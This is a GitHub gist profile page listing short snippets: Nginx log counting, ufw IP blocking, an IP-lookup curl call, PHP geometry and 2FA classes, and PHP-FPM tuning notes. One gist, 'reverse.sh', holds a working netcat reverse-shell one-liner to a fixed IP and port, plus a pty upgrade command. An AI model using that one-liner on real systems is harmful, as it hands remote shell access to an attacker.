Skip to content

Instantly share code, notes, and snippets.

View afiqiqmal's full-sized avatar
👻
I may be slow to respond.

Hafiq afiqiqmal

👻
I may be slow to respond.
View GitHub Profile
@afiqiqmal
afiqiqmal / count_access_log_nginx.sh
Last active July 23, 2021 15:38
Sort Nginx Access Log Per Hour
#count total request
awk -F[:\ ] '{count[$5]++}; $12 == 200 { hour[$5]++} END { for (i in hour) print i, count[i] }' /var/log/nginx/access.log | sort
#count Ip address
cat /var/log/nginx/access.log | awk '{print $1}' | sort -n | uniq -c | sort -nr | head -20
zcat /var/log/nginx/access.log.2.gz | awk '{print $1}' | sort -n | uniq -c | sort -nr | head -50
# Deny IP
ufw insert 1 deny from 14.192.209.123 to any
@afiqiqmal
afiqiqmal / ufw.txt
Last active July 10, 2021 11:29
UFW Nginx
#Block IP
ufw insert 1 deny from 202.186.179.142 to any
#Numbered UFW
sudo ufw status numbered
@afiqiqmal
afiqiqmal / whatsmyip.sh
Created June 1, 2021 06:09
Get Your Current IP from Terminal
#!/bin/sh
curl https://ipinfo.io/$(curl -s icanhazip.com)
@afiqiqmal
afiqiqmal / PointLocation.php
Created April 16, 2021 08:33
Check if location is inside polygon or not
<?php
class PointLocation
{
public static function pointInPolygon($point, $vertices): string
{
if (self::pointOnVertex($point, $vertices) == true) {
return "vertex";
}
@afiqiqmal
afiqiqmal / index.html
Created April 2, 2021 02:25
Google Map URL Testing for iOS user
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" integrity="sha384-JcKb8q3iqJ61gNV9KGb8thSsNjpSL0n8PARn9HuZOnIxN0hoP+VmmDGMN5t9UJ0Z" crossorigin="anonymous">
</head>
<body>
<div class="p-5">
@afiqiqmal
afiqiqmal / reverse.sh
Last active March 22, 2021 14:19
Reverse Shell
rm /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.8.163.74 1337 >/tmp/f
python -c 'import pty; pty.spawn("/bin/bash")'
@afiqiqmal
afiqiqmal / laragon-cmder-phpstorm.md
Created March 3, 2021 00:25 — forked from landbryo/laragon-cmder-phpstorm.md
Laragon Cmder in PHPStorm

Navigate to PHPStorm's Settings > Tools > Terminal and set...

Shell path "cmd" /k "C:\laragon\bin\cmder\vendor\init.bat"

@afiqiqmal
afiqiqmal / php-pools.md
Created February 24, 2021 02:35 — forked from holmberd/php-pools.md
Adjusting child processes for PHP-FPM (Nginx)

Adjusting child processes for PHP-FPM (Nginx)

When setting these options consider the following:

  • How long is your average request?
  • What is the maximum number of simultaneous visitors the site(s) get?
  • How much memory on average does each child process consume?

Determine if the max_children limit has been reached.

  • sudo grep max_children /var/log/php?.?-fpm.log.1 /var/log/php?.?-fpm.log
@afiqiqmal
afiqiqmal / ResponseMacro.php
Last active January 26, 2021 06:17
Additional response as macro
<?php
namespace App\Macros\Response;
use App\Http\Factory\JsonResponse;
use App\Macros\MacroContract;
use Illuminate\Http\Client\Response as ClientResponse;
use Illuminate\Support\Facades\Response as HttpResponse;
use Illuminate\Support\MessageBag;
@afiqiqmal
afiqiqmal / TwoFactorAuthenticationProvider.php
Last active January 25, 2021 12:42
TwoFactorAuthenticationProvider
<?php
class TwoFactorAuthenticationProvider
{
protected $engine;
public function __construct(Google2FA $engine)
{
$this->engine = $engine;
}